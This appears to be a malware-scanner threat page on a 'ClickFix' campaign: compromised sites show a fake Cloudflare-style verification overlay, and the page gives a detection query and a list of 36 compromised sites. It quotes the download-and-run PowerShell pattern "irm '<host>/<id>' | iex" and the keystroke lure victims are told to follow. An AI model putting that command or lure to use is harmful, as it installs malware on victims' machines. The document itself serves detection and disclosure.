ScanMalware.com
Known malicious kithighphishing

Windows ClickFix: 'Human Verification' overlay injector host — contacted host

family: clickfix-winx-overlay-2026-10

Compromised websites carrying an injected script that draws a fake Cloudflare-style 'Human Verification' overlay ('I'm not a robot', a Ray ID) and tells Windows visitors to press and hold the Windows key + X, choose Terminal (or press I), paste with Ctrl+V and press Enter. The pasted text is a PowerShell command that downloads and runs a second stage (irm '<host>/<id>' | iex). The overlay text is translated into several languages, and the script that draws it is packed, so the command never appears in the page source. Seen on dozens of small-business sites on 2026-10-01 loading the overlay from browseid[.]codes, and in an earlier version of the same overlay since August 2026. No legitimate verification step asks visitors to run a command.

Anchors

SMQL queryrun
contacted_host:browseid.codes OR contacted_host:*.browseid.codes

Provenance

Added: 2026-10-01 13:30
Matches pages whose browser contacted the injector host. Broad detector for newly compromised sites; it also matches sites that loaded the script without showing the overlay. The code rules in this family confirm the overlay.
References:

Sightings (36)

HostScanScriptMatchWhen
unitranscond.com3c021bb6…—query2026-10-01 16:27
vanderbilt-park.com7e33ebe2…—query2026-10-01 16:27
utopiagaming.it932d359a…—query2026-10-01 16:27
velti-digital.com3bfbfb15…—query2026-10-01 16:26
green-ard.com88b47644…—query2026-10-01 13:40
haarsalon-tonina.deee51590b…—query2026-10-01 13:40
heatingsolutionsni.com98e93f33…—query2026-10-01 13:40
diabetescareth.com28812a0f…—query2026-10-01 13:40
grishiv.com65aa2b68…—query2026-10-01 13:39
groupeglobalenergy.com2397f734…—query2026-10-01 13:39
gusanacoating.com7431bc60…—query2026-10-01 13:38
harrabycommunitycentre.co.ukba0e2e1d…—query2026-10-01 13:38
checkgps.comb88089c7…—query2026-10-01 13:32
hno-silberhorn.def43479b3…—query2026-10-01 13:32
helixperfect.com71a23c1e…—query2026-10-01 13:32
iceido.comfb95a413…—query2026-10-01 13:32
indodrama.my.id5f188992…—query2026-10-01 13:32
icercasa.es321ee9bc…—query2026-10-01 13:32
immobiliareimpicciatore.it28288ff1…—query2026-10-01 13:32
intelligenes.comc92d5e6c…—query2026-10-01 13:32
medien-meinungen.dea60736d9…—query2026-10-01 13:32
sportorium.ptumb.combdb6c975…—query2026-10-01 13:32
acombien.tn9a714d0e…—query2026-10-01 13:32
18.208.215.155eccec11e…—query2026-10-01 13:32
destinydureke.comd82fcec0…—query2026-10-01 13:32
dein-sandmann.de46847c39…—query2026-10-01 13:32
bosagen.com4efdd859…—query2026-10-01 13:32
gusanacoating.com166ced3e…—query2026-10-01 13:32
thecureofatlantis.com4066cd1b…—query2026-10-01 13:32
drgift.euf8e6209e…—query2026-10-01 13:32
solarcameratrailer.com8e0c38e6…—query2026-10-01 13:32
solarcapricornio.com.br429f6353…—query2026-10-01 13:32
itispersonal.netcf984fe8…—query2026-10-01 13:32
garantialocal.com7242ff42…—query2026-10-01 13:32
parcelcourierline.coma1294de5…—query2026-10-01 13:32
wwvv.infoff10272b…—query2026-10-01 13:32